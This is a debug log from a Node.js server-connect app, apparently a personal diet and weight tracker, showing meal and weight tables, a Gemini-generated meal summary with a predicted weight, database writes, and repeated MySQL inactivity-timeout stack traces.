  '| 474 | Whey Protein | 120 | 24 | 3 | 2 | 1 scoop (approx 30g, typical serving size) |\n' +
  '| 475 | Roti | 400 | 12 | 80 | 4 | 4 |\n' +
  '| 476 | Baingan Sabji | 150 | 3 | 15 | 10 | 1 serving (approx 150g) |\n' +
  '| 477 | Walnut | 52 | 1 | 1 | 5 | 2 full pieces (approx 8g) |\n' +
  '\n'
2025-12-21T08:09:23.886Z server-connect:app Executing action step run
2025-12-21T08:09:23.886Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T08:09:23.886Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T08:09:23.887Z server-connect:app Executing action step setvalue
2025-12-21T08:09:23.887Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-21T08:09:23.887Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '| 474 | Whey Protein | 120 | 24 | 3 | 2 | 1 scoop (approx 30g, typical serving size) |\n' +
  '| 475 | Roti | 400 | 12 | 80 | 4 | 4 |\n' +
  '| 476 | Baingan Sabji | 150 | 3 | 15 | 10 | 1 serving (approx 150g) |\n' +
  '| 477 | Walnut | 52 | 1 | 1 | 5 | 2 full pieces (approx 8g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T08:09:23.887Z server-connect:app Executing action step processWithGemini
2025-12-21T08:09:23.887Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-21T08:09:25.318Z server-connect:output health_summary: {
  summary: "Today's intake shows a decent protein contribution from the whey supplement, which is beneficial for muscle development. The meal composition includes carbohydrates and fats, with some fiber from the vegetables. Meal timing appears to be spread throughout the day, supporting consistent energy levels. Overall, the day's nutrition aligns reasonably well with your goals, though further attention to protein diversity and overall nutrient density could enhance recovery and progress.",
  rating: 7,
  good_points: [
    'Inclusion of whey protein post-workout supports muscle recovery and development.',
    'Meals are distributed throughout the day, aiding consistent energy.',
    'Vegetables are present in the diet, contributing some fiber and micronutrients.'
  ],
  bad_points: [
    'Protein sources could be more varied beyond the supplement.',
    'The majority of the intake seems to be carbohydrate-heavy.',
    'Limited variety in the food items consumed today.'
  ],
  suggestions: [
    'Incorporate a lean protein source with your main meals to further support muscle synthesis.',
    'Consider adding more non-starchy vegetables to increase fiber and nutrient intake.',
    'Ensure adequate hydration throughout the day to support gym performance and recovery.'
  ],
  predicted_weight_trend: 'gradual decrease',
  predicted_weight: 69.6
}
2025-12-21T08:09:25.318Z server-connect:app Executing action step condition
2025-12-21T08:09:25.318Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-21T08:09:25.318Z server-connect:app Executing action step delete
2025-12-21T08:09:25.318Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-21T08:09:25.319Z server-connect:output delete: { affected: 1 }
2025-12-21T08:09:25.319Z server-connect:app Executing action step insert
2025-12-21T08:09:25.319Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-21T08:09:25.320Z server-connect:output insert: { affected: 1, identity: 52 }
2025-12-21T08:09:25.320Z server-connect:output condition: undefined
2025-12-21T08:09:25.640Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T08:09:25.640Z server-connect:app Executing action step identify
2025-12-21T08:09:25.640Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:25.640Z server-connect:output identity: 1
2025-12-21T08:09:25.640Z server-connect:app Executing action step restrict
2025-12-21T08:09:25.640Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:25.640Z server-connect:output restrict: undefined
2025-12-21T08:09:25.640Z server-connect:app Executing action step single
2025-12-21T08:09:25.640Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T08:09:25.641Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's intake shows a decent protein contribution from the whey supplement, which is beneficial for muscle development. The meal composition includes carbohydrates and fats, with some fiber from the vegetables. Meal timing appears to be spread throughout the day, supporting consistent energy levels. Overall, the day's nutrition aligns reasonably well with your goals, though further attention to protein diversity and overall nutrient density could enhance recovery and progress.",
    bad_points: [
      'Protein sources could be more varied beyond the supplement.',
      'The majority of the intake seems to be carbohydrate-heavy.',
      'Limited variety in the food items consumed today.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle recovery and development.',
      'Meals are distributed throughout the day, aiding consistent energy.',
      'Vegetables are present in the diet, contributing some fiber and micronutrients.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meals to further support muscle synthesis.',
      'Consider adding more non-starchy vegetables to increase fiber and nutrient intake.',
      'Ensure adequate hydration throughout the day to support gym performance and recovery.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T08:09:43.461Z server-connect:app Executing action step identify
2025-12-21T08:09:43.461Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:43.461Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 10:46:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 10:46:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 10:51:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 10:51:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 11:47:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 11:47:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 13:27:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 13:27:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 14:45:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 14:45:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 15:29:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 15:29:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 15:33:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 15:33:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 16:46:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 16:46:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 17:35:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 17:35:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 21:16:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 21:16:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 23:30:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 23:30:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 01:01:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 01:01:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 01:22:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 01:22:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 02:43:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
